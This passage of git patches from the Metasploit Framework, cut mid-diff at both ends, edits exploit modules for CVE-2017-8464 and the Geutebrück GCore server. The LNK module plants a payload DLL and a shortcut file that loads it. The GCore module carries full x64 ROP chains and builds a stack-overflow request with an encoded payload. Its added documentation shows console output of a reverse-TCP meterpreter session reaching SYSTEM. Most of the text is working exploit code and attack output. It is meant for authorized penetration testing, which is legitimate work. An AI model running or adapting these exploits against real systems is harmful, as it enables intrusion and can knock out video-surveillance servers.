-    path = ::File.join(Msf::Config.data_directory, 'exploits/cve-2017-8464')
+    path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')
     arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
     datastore['EXE::Path'] = path
     datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")
@@ -105,8 +105,8 @@ class MetasploitModule < Msf::Exploit::Local
   def generate_link(path)
     vprint_status("Generating LNK file to load: #{path}")
     path << "\x00"
-    display_name = datastore['LNK_DISPLAY_NAME'].dup << "\x00" # LNK Display Name
-    comment = datastore['LNK_COMMENT'].dup << "\x00"
+    display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name
+    comment = datastore['LnkComment'].dup << "\x00"
 
     # Control Panel Applet ItemID with our DLL
     cpl_applet = [

From 4729c885f1d0b848b7bf18973ce49e47715fdcb3 Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Thu, 5 Oct 2017 11:10:37 -0400
Subject: [PATCH 016/254] Cleanup the CVE-2017-8464 LPE module

---
 .../windows/local/cve_2017_8464_lnk_lpe.rb    | 57 +++++++++++++++----
 1 file changed, 45 insertions(+), 12 deletions(-)

diff --git a/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb b/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
index 1b316ce6bb..bfc4fc71ba 100644
--- a/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
+++ b/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
@@ -7,7 +7,9 @@ class MetasploitModule < Msf::Exploit::Local
   Rank = ExcellentRanking
 
   include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
   include Msf::Post::File
+  include Msf::Post::Windows::Priv
 
   attr_accessor :exploit_dll_name
 
@@ -26,8 +28,8 @@ class MetasploitModule < Msf::Exploit::Local
           the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
           DLL file.
 
-          If no PATH is specified, the module will use drive letters D through Z so the files
-          may be placed in the root path of a drive such as a shared VM folder or USB drive.
+          The PATH option must be an absolute path to a writeable directory which is indexed for
+          searching. If no PATH is specified, the module defaults to %USERPROFILE%.
         },
         'Author'          =>
           [
@@ -47,8 +49,9 @@ class MetasploitModule < Msf::Exploit::Local
           ],
         'DefaultOptions'  =>
           {
-            'EXITFUNC'    => 'process',
-            'WfsDelay'    => 30,
+            'EXITFUNC'         => 'process',
+            'FileDropperDelay' => 15,
+            'WfsDelay'         => 30
           },
         'Arch'            => [ARCH_X86, ARCH_X64],
         'Payload'         =>
@@ -58,7 +61,6 @@ class MetasploitModule < Msf::Exploit::Local
         'Platform'        => 'win',
         'Targets'         =>
           [
-            [ 'Automatic',   { 'Arch' => ARCH_ANY } ],
             [ 'Windows x64', { 'Arch' => ARCH_X64 } ],
             [ 'Windows x86', { 'Arch' => ARCH_X86 } ]
           ],
@@ -84,22 +86,53 @@ class MetasploitModule < Msf::Exploit::Local
     )
   end
 
+  def check
+    if session.sys.process['SearchIndexer.exe']
+      return Exploit::CheckCode::Detected
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+  def get_name(option, default_ext)
+    name = datastore[option].to_s.strip
+    name = "#{rand_text_alpha(16)}.#{default_ext}" if name.blank?
+    name
+  end
+
   def exploit
+    if is_system?
+      fail_with(Failure::None, 'Session is already elevated')
+    end
+
+    if session.platform != 'windows'
+      fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
+    end
+
+    if check == Exploit::CheckCode::Safe
+      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
+    end
+
+    if sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
+      fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
+    elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
+      fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
+    end
+
     path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')
     arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
     datastore['EXE::Path'] = path
     datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")
 
-    path = datastore['PATH'] || session.fs.file.expand_path("%TEMP%")
+    path = datastore['PATH'] || session.fs.file.expand_path("%USERPROFILE%")
     path.chomp!("\\")
 
-    dll = generate_payload_dll
-    dll_name = datastore['DLLNAME'] || "#{rand_text_alpha(16)}.dll"
-    dll_path = write_file("#{path}\\#{dll_name}", dll)
+    dll_path = "#{path}\\#{get_name('DLLNAME', 'dll')}"
+    write_file(dll_path, generate_payload_dll)
 
-    lnk = generate_link("#{path}\\#{dll_name}")
-    lnk_filename = datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk"
-    lnk_path = write_file("#{path}\\#{lnk_filename}", lnk)
+    lnk_path = "#{path}\\#{get_name('FILENAME', 'lnk')}"
+    write_file(lnk_path, generate_link(dll_path))
+    register_files_for_cleanup(dll_path, lnk_path)
   end
 
   def generate_link(path)

From e4d99a14b6270f82eca769aa60ad90f62310f9a8 Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Thu, 5 Oct 2017 11:38:08 -0400
Subject: [PATCH 017/254] Fix EXITFUNC back to process for the RCE too

---
 modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb b/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
index 252bb7f97e..a91c80694e 100644
--- a/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
+++ b/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
@@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote
           ],
         'DefaultOptions'  =>
           {
-            'EXITFUNC'    => 'thread'
+            'EXITFUNC'    => 'process'
           },
         'Arch'            => [ARCH_X86, ARCH_X64],
         'Payload'         =>

From 770547269bcbf136ff0d9177d7fbd8e69d7567e4 Mon Sep 17 00:00:00 2001
From: Maurice Popp <maurice.popp@infoguard.ch>
Date: Fri, 6 Oct 2017 15:39:25 +0200
Subject: [PATCH 018/254] added documentation, and fixed 4 to 2 indentation

---
 .../http/geutebrueck_gcore_x64_rce_bo.md      |  63 +++
 .../http/geutebrueck_gcore_x64_rce_bo.rb      | 454 +++++++++---------
 2 files changed, 290 insertions(+), 227 deletions(-)
 create mode 100644 documentation/modules/exploit/windows/http/geutebrueck_gcore_x64_rce_bo.md

diff --git a/documentation/modules/exploit/windows/http/geutebrueck_gcore_x64_rce_bo.md b/documentation/modules/exploit/windows/http/geutebrueck_gcore_x64_rce_bo.md
new file mode 100644
index 0000000000..4aff5e18fb
--- /dev/null
+++ b/documentation/modules/exploit/windows/http/geutebrueck_gcore_x64_rce_bo.md
@@ -0,0 +1,63 @@
+## Vulnerable Application
+
+  Geutebrück GCore Server 1.3.8.42,1.4.2.37 are vulnerable to a buffer overflow exploitation. Since this application is started with system privileges this allows a system remote code execution.
+
+## Verification Steps
+
+  1. Install Windows as basic OS (Tested with Win2012R2,Windows 7)
+  2. Install the Geutebrück GCore server
+  3. Verify that http://<your target ip>:13003/statistics/runningmoduleslist.xml available is.
+  4. Start msfconsole
+  5. Do: ```use [exploit/windows/http/geutebrueck_gcore_x64_rce_bo]```
+  6. Do: ```set rhost <your target ip>```
+  7. Do: ```set rport 13003``
+  8. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
+  9. Do: ```exploit```
+  10. You should get a shell as NT/SYSTEM.
+
+## Scenarios
+```
+msf exploit(geutebrueck_gcore_x64_rce_bo) > show options
+
+Module options (exploit/windows/http/geutebrueck_gcore_x64_rce_bo):
+
+   Name     Current Setting  Required  Description
+   ----     ---------------  --------  -----------
+   RHOST    192.168.1.10      yes       The target address
+   RPORT    13003             yes       The target port
+
+
+
+   Payload options (windows/x64/meterpreter/reverse_tcp):
+
+      Name      Current Setting  Required  Description
+      ----      ---------------  --------  -----------
+      EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
+      LHOST     192.168.1.11     yes       The listen address
+      LPORT     4444             yes       The listen port
+
+
+   Exploit target:
+
+      Id  Name
+      --  ----
+      0   Automatic Targeting
+
+msf exploit(geutebrueck_gcore_x64_rce_bo) > exploit
+    [*] Started reverse TCP handler on 192.168.1.11:4444
+    [*] 192.168.1.10:13003 - Trying to fingerprint server with http://192.168.1.10:13003/statistics/runningmoduleslist.xml...
+    [*] 192.168.1.10:13003 - Vulnerable version detected: GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)
+    [*] 192.168.1.10:13003 - Preparing ROP chain for target 1.4.2.37!
+    [*] 192.168.1.10:13003 - Crafting Exploit...
+    [*] 192.168.1.10:13003 - Exploit ready for sending...
+    [*] 192.168.1.10:13003 - Exploit sent! [*] Sending stage (1188415 bytes) to
+    [*] Meterpreter session 1 opened ( :4444 -> 49963) at 2017-11-03 13:14:51 +0200
+    [*] 192.168.1.10:13003 - Closing socket.
+    meterpreter > getsystem
+    ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
+    meterpreter > getuid Server username:
+    NT-AUTORITÄT\SYSTEM
+    meterpreter >
+```
+## Mitigation
+Geutebrück released a new Version and an update for the affected version which should be installed to fix the described vulnerabilities.
diff --git a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
index c3ebbd14b8..4fd1677713 100644
--- a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
+++ b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
@@ -7,279 +7,279 @@ require 'nokogiri'
 require 'open-uri'
 
 class MetasploitModule < Msf::Exploit::Remote
-    include Msf::Exploit::Remote::Tcp
+  include Msf::Exploit::Remote::Tcp
 
-    Rank = NormalRanking
+  Rank = NormalRanking
 
-    def initialize(info = {})
-        super(update_info(info,
-                          'Name' => 'Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE',
-                          'Description'	=> 'This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).',
-                          'License' => MSF_LICENSE,
-                          'Author' =>
-                          [
-                              'Luca Cappiello',
-                              'Maurice Popp'
-                          ],
-                          'References' =>
-                          [
-                              ['EDB','41153'],
-                              ['URL','www.geutebrueck.com']
-                          ],
-                          'Platform' => 'win',
-                          'Targets' =>
-                          [
-                              ['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X64 }],
-                              ['GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X64}],
-                              ['GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X64}]
-                          ],
-                          'Payload' =>
-                          {
-                              'Space' => '2000'
-                          },
-                          'Privileged' => true,
-                          'DisclosureDate' => 'Jan 24 2017',
-                          'DefaultTarget' => 0))
+  def initialize(info = {})
+    super(update_info(info,
+      'Name' => 'Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE',
+      'Description'	=> 'This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).',
+      'License' => MSF_LICENSE,
+      'Author' =>
+      [
+        'Luca Cappiello',
+        'Maurice Popp'
+      ],
+      'References' =>
+      [
+        ['EDB','41153'],
+        ['URL','www.geutebrueck.com']
+      ],
+      'Platform' => 'win',
+      'Targets' =>
+      [
+        ['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X64 }],
+        ['GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X64}],
+        ['GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X64}]
+      ],
+      'Payload' =>
+      {
+        'Space' => '2000'
+      },
+      'Privileged' => true,
+      'DisclosureDate' => 'Jan 24 2017',
+      'DefaultTarget' => 0))
     end
 
     def fingerprint
-        print_status('Trying to fingerprint server with http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml...')
-        @doc = Nokogiri::XML(open('http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml'))
-        statistics = @doc.css('modulestate')
-        statistics.each do |x|
-            if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
-                mytarget = targets[1]
-                print_status("Vulnerable version detected: #{mytarget.name}")
-                return Exploit::CheckCode::Appears, mytarget
-            elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
-                mytarget = targets[2]
-                print_status("Vulnerable version detected: #{mytarget.name}")
-                return Exploit::CheckCode::Appears, mytarget
-                end
+      print_status('Trying to fingerprint server with http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml...')
+      @doc = Nokogiri::XML(open('http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml'))
+      statistics = @doc.css('modulestate')
+      statistics.each do |x|
+        if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
+          mytarget = targets[1]
+          print_status("Vulnerable version detected: #{mytarget.name}")
+          return Exploit::CheckCode::Appears, mytarget
+        elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
+          mytarget = targets[2]
+          print_status("Vulnerable version detected: #{mytarget.name}")
+          return Exploit::CheckCode::Appears, mytarget
         end
-        print_status('Statistics Page under http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml is not available.')
-        print_status("Make sure that you know the exact version, otherwise you'll knock out the service.")
-        print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
-        print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
-        [Exploit::CheckCode::Unknown, nil]
+      end
+      print_status('Statistics Page under http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml is not available.')
+      print_status("Make sure that you know the exact version, otherwise you'll knock out the service.")
+      print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
+      print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
+      [Exploit::CheckCode::Unknown, nil]
     end
 
     def check
-        fingerprint
+      fingerprint
     end
 
     def ropchain(target)
-        if target.name.include? '1.3.8.42'
-            print_status('Preparing ROP chain for target 1.3.8.42!')
+      if target.name.include? '1.3.8.42'
+        print_status('Preparing ROP chain for target 1.3.8.42!')
 
-            # 0x140cd00a9 | add rsp, 0x10 ; ret
-            # This is needed because the next 16 bytes are sometimes messed up.
-            overwrite = [0x140cd00a9].pack('Q<')
+        # 0x140cd00a9 | add rsp, 0x10 ; ret
+        # This is needed because the next 16 bytes are sometimes messed up.
+        overwrite = [0x140cd00a9].pack('Q<')
 
-            # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
-            stack_align = "\x43" * 16
+        # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
+        stack_align = "\x43" * 16
 
-            # We have 40 bytes left to align our stack!
-            # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
-            # and to restore it.
-            # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
+        # We have 40 bytes left to align our stack!
+        # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
+        # and to restore it.
+        # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
 
-            # 0x1404e5cbf: mov edx, esp ; ret
-            stack_align += [0x1404e5cbf].pack('Q<')
+        # 0x1404e5cbf: mov edx, esp ; ret
+        stack_align += [0x1404e5cbf].pack('Q<')
 
-            # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
-            # We pop -XXXXX as \xxxxxxxxx to rax
-            # 0x14013db94  pop rax ; ret
-            stack_align += [0x14013db94].pack('Q<')
-            stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
+        # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
+        # We pop -XXXXX as \xxxxxxxxx to rax
+        # 0x14013db94  pop rax ; ret
+        stack_align += [0x14013db94].pack('Q<')
+        stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
 
-            # Our value is enough.
-            # 0x1407dc547  | add rax,rdx ; ret
-            stack_align += [0x1407dc547].pack('Q<')
+        # Our value is enough.
+        # 0x1407dc547  | add rax,rdx ; ret
+        stack_align += [0x1407dc547].pack('Q<')
 
-            # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
-            # 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
-            stack_align += [0x140ce9ac0].pack('Q<')
+        # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
+        # 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
+        stack_align += [0x140ce9ac0].pack('Q<')
 
-            # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
-            # We want RCX to hold the value for VP Argument "Address of Shellcode"
-            # 0x140cc2234 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
-            rop = ''
-            rop += [0x140cc2234].pack('Q<')
-            rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
-            # 0x1400ae2ae    | POP RDX; RETN
-            # 0x...1000      | Value for VP "Size of Memory"
-            rop += [0x1400ae2ae].pack('Q<')
-            rop += [0x0000000000000400].pack('Q<')
+        # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
+        # We want RCX to hold the value for VP Argument "Address of Shellcode"
+        # 0x140cc2234 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
+        rop = ''
+        rop += [0x140cc2234].pack('Q<')
+        rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
+        # 0x1400ae2ae    | POP RDX; RETN
+        # 0x...1000      | Value for VP "Size of Memory"
+        rop += [0x1400ae2ae].pack('Q<')
+        rop += [0x0000000000000400].pack('Q<')
 
-            # 0x14029dc6e:   | POP R8; RET
-            # 0x...40        | Value for VP "Execute Permissions"
-            rop += [0x14029dc6e].pack('Q<')
-            rop += [0x0000000000000040].pack('Q<')
+        # 0x14029dc6e:   | POP R8; RET
+        # 0x...40        | Value for VP "Execute Permissions"
+        rop += [0x14029dc6e].pack('Q<')
+        rop += [0x0000000000000040].pack('Q<')
 
-            # 0x1400aa030    | POP R9; RET
-            # 0x1409AE1A8 is the .data section of gcore
-            rop += [0x1400aa030].pack('Q<')
-            rop += [0x1409AE1A8].pack('Q<')
+        # 0x1400aa030    | POP R9; RET
+        # 0x1409AE1A8 is the .data section of gcore
+        rop += [0x1400aa030].pack('Q<')
+        rop += [0x1409AE1A8].pack('Q<')
 
-            # 0x140b5927a: xor rax, rax ; ret
-            rop += [0x140b5927a].pack('Q<')
+        # 0x140b5927a: xor rax, rax ; ret
+        rop += [0x140b5927a].pack('Q<')
 
-            # 0x1402ce220 pop rax ; ret
-            # 0x140d752b8 | VP Stub IAT Entry
-            rop += [0x1402ce220].pack('Q<')
-            rop += [0x140d752b8].pack('Q<')
+        # 0x1402ce220 pop rax ; ret
+        # 0x140d752b8 | VP Stub IAT Entry
+        rop += [0x1402ce220].pack('Q<')
+        rop += [0x140d752b8].pack('Q<')
 
-            # 0x1407c6b3b mov rax, qword [rax] ; ret  ;
-            rop += [0x1407c6b3b].pack('Q<')
+        # 0x1407c6b3b mov rax, qword [rax] ; ret  ;
+        rop += [0x1407c6b3b].pack('Q<')
 
-            # 0x140989c41 push rax; ret
-            rop += [0x140989c41].pack('Q<')
+        # 0x140989c41 push rax; ret
+        rop += [0x140989c41].pack('Q<')
 
-            # 0x1406d684d jmp rsp
-            rop += [0x1406d684d].pack('Q<')
+        # 0x1406d684d jmp rsp
+        rop += [0x1406d684d].pack('Q<')
 
-            [rop, overwrite, stack_align]
+        [rop, overwrite, stack_align]
 
-        elsif target.name.include? '1.4.2.37'
-            print_status('Preparing ROP chain for target 1.4.2.37!')
+      elsif target.name.include? '1.4.2.37'
+        print_status('Preparing ROP chain for target 1.4.2.37!')
 
-            # 0x140cd9759 | add rsp, 0x10 ; ret
-            # This is needed because the next 16 bytes are sometimes messed up.
-            overwrite = [0x140cd9759].pack('Q<')
+        # 0x140cd9759 | add rsp, 0x10 ; ret
+        # This is needed because the next 16 bytes are sometimes messed up.
+        overwrite = [0x140cd9759].pack('Q<')
 
-            # These bytes "\x43" are sacrificed ; we align the stack to jump over this.
-            stack_align = "\x43" * 16
+        # These bytes "\x43" are sacrificed ; we align the stack to jump over this.
+        stack_align = "\x43" * 16
 
-            # We have 40 bytes left to align our stack!
-            # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
-            # and to restore it.
-            # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
+        # We have 40 bytes left to align our stack!
+        # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
+        # and to restore it.
+        # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
 
-            # 0x1404f213f: mov edx, esp ; ret
-            stack_align += [0x1404f213f].pack('Q<')
+        # 0x1404f213f: mov edx, esp ; ret
+        stack_align += [0x1404f213f].pack('Q<')
 
-            # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
-            # We pop -XXXXX as \xxxxxxxxx to rax
-            # 0x14000efa8  pop rax ; ret
-            stack_align += [0x14000efa8].pack('Q<')
-            stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
+        # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
+        # We pop -XXXXX as \xxxxxxxxx to rax
+        # 0x14000efa8  pop rax ; ret
+        stack_align += [0x14000efa8].pack('Q<')
+        stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
 
-            # Our value is enough.
-            # 0x140cdfe65  | add rax,rdx ; ret
-            stack_align += [0x140cdfe65].pack('Q<')
+        # Our value is enough.
+        # 0x140cdfe65  | add rax,rdx ; ret
+        stack_align += [0x140cdfe65].pack('Q<')
 
-            # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
-            # 0x140cf3110 | mov rsp, rax ; ..... ; ret
-            stack_align += [0x140cf3110].pack('Q<')
+        # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
+        # 0x140cf3110 | mov rsp, rax ; ..... ; ret
+        stack_align += [0x140cf3110].pack('Q<')
 
-            # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
-            # We want RCX to hold the value for VP Argument "Address of Shellcode"
-            # 0x140ccb984 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
-            rop = ''
-            rop += [0x140ccb984].pack('Q<')
-            rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
-            # 0x14008f7ec      | POP RDX; RETN
-            # 0x...1000        | Value for VP "Size of Memory"
-            rop += [0x14008f7ec].pack('Q<')
-            rop += [0x0000000000000400].pack('Q<')
+        # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
+        # We want RCX to hold the value for VP Argument "Address of Shellcode"
+        # 0x140ccb984 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
+        rop = ''
+        rop += [0x140ccb984].pack('Q<')
+        rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
+        # 0x14008f7ec      | POP RDX; RETN
+        # 0x...1000        | Value for VP "Size of Memory"
+        rop += [0x14008f7ec].pack('Q<')
+        rop += [0x0000000000000400].pack('Q<')
 
-            # 0x140a88f81:   | POP R8; RET
-            # 0x...40        | Value for VP "Execute Permissions"
-            rop += [0x140a88f81].pack('Q<')
-            rop += [0x0000000000000040].pack('Q<')
+        # 0x140a88f81:   | POP R8; RET
+        # 0x...40        | Value for VP "Execute Permissions"
+        rop += [0x140a88f81].pack('Q<')
+        rop += [0x0000000000000040].pack('Q<')
 
-            # 0x1400aa030    | POP R9; RET
-            # 0x...          | Value for VP "Writeable location". Not sure if needed?
-            # 0x140FB5000 is the .data section of gcore; let's test with this writable section...
-            rop += [0x1400aa030].pack('Q<')
-            rop += [0x140FB5000].pack('Q<')
+        # 0x1400aa030    | POP R9; RET
+        # 0x...          | Value for VP "Writeable location". Not sure if needed?
+        # 0x140FB5000 is the .data section of gcore; let's test with this writable section...
+        rop += [0x1400aa030].pack('Q<')
+        rop += [0x140FB5000].pack('Q<')
 
-            # 0x140ccea2f: xor rax, rax ; et
-            rop += [0x140ccea2f].pack('Q<')
+        # 0x140ccea2f: xor rax, rax ; et
+        rop += [0x140ccea2f].pack('Q<')
 
-            # 0x14000efa8 pop rax ; ret
-            # 0x140d83268 | VP Stub IAT Entry
-            rop += [0x14000efa8].pack('Q<')
-            rop += [0x140d83268].pack('Q<')
+        # 0x14000efa8 pop rax ; ret
+        # 0x140d83268 | VP Stub IAT Entry
+        rop += [0x14000efa8].pack('Q<')
+        rop += [0x140d83268].pack('Q<')
 
-            # 0x14095b254 mov rax, qword [rax] ; ret  ;
-            rop += [0x14095b254].pack('Q<')
+        # 0x14095b254 mov rax, qword [rax] ; ret  ;
+        rop += [0x14095b254].pack('Q<')
 
-            # 0x140166c46 push rax; ret
-            rop += [0x140166c46].pack('Q<')
+        # 0x140166c46 push rax; ret
+        rop += [0x140166c46].pack('Q<')
 
-            # 0x140cfb98d jmp rsp
-            rop += [0x140cfb98d].pack('Q<')
+        # 0x140cfb98d jmp rsp
+        rop += [0x140cfb98d].pack('Q<')
 
-            [rop, overwrite, stack_align]
+        [rop, overwrite, stack_align]
 
-        else
-            print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
-
-        end
-      end
-
-    def exploit
-        if target['auto']
-            checkcode, target = fingerprint
-            if checkcode.to_s.include? 'unknown'
-                print_status('No vulnerable Version detected - exploit aborted.')
-            else
-                target_rop, target_overwrite, target_stack_align = ropchain(target)
-                begin
-                    connect
-                    print_status('Crafting Exploit...')
-
-                    http_req = 'GET /'
-                    buffer_200 = "\x41" * 200
-                    rop = target_rop
-                    payload.encoded
-                    buffer_1823 = "\x41" * 1823
-                    overwrite = target_overwrite
-                    stack_align = target_stack_align
-
-                    exploit = http_req + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
-                    print_status('Exploit ready for sending...')
-                    sock.put(exploit, 'Timeout' => 20)
-                    print_status('Exploit sent!')
-                    buf = sock.get_once || ''
-                rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
-                    elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
-                ensure
-                    print_status('Closing socket.')
-                    disconnect
-                end
-            end
-
-        else
-            print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
-            print_status("Selected version: #{self.target.name}")
-            target_rop, target_overwrite, target_stack_align = ropchain(self.target)
-            begin
-                connect
-                print_status('Crafting Exploit...')
-
-                http_req = 'GET /'
-                buffer_200 = "\x41" * 200
-                rop = target_rop
-                payload.encoded
-                buffer_1823 = "\x41" * 1823
-                overwrite = target_overwrite
-                stack_align = target_stack_align
-
-                exploit = http_req + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
-                print_status('Exploit ready for sending...')
-                sock.put(exploit, 'Timeout' => 20)
-                print_status('Exploit sent!')
-                buf = sock.get_once || ''
-            rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
-                elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
-            ensure
-                print_status('Closing socket.')
-                disconnect
-            end
+      else
+        print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
 
       end
     end
-end
+
+    def exploit
+      if target['auto']
+        checkcode, target = fingerprint
+        if checkcode.to_s.include? 'unknown'
+          print_status('No vulnerable Version detected - exploit aborted.')
+        else
+          target_rop, target_overwrite, target_stack_align = ropchain(target)
+          begin
+            connect
+            print_status('Crafting Exploit...')
+
+            http_req = 'GET /'
+            buffer_200 = "\x41" * 200
+            rop = target_rop
+            payload.encoded
+            buffer_1823 = "\x41" * 1823
+            overwrite = target_overwrite
+            stack_align = target_stack_align
+
+            exploit = http_req + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
+            print_status('Exploit ready for sending...')
+            sock.put(exploit, 'Timeout' => 20)
+            print_status('Exploit sent!')
+            buf = sock.get_once || ''
+          rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
+            elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
+          ensure
+            print_status('Closing socket.')
+            disconnect
+          end
+        end
+
+      else
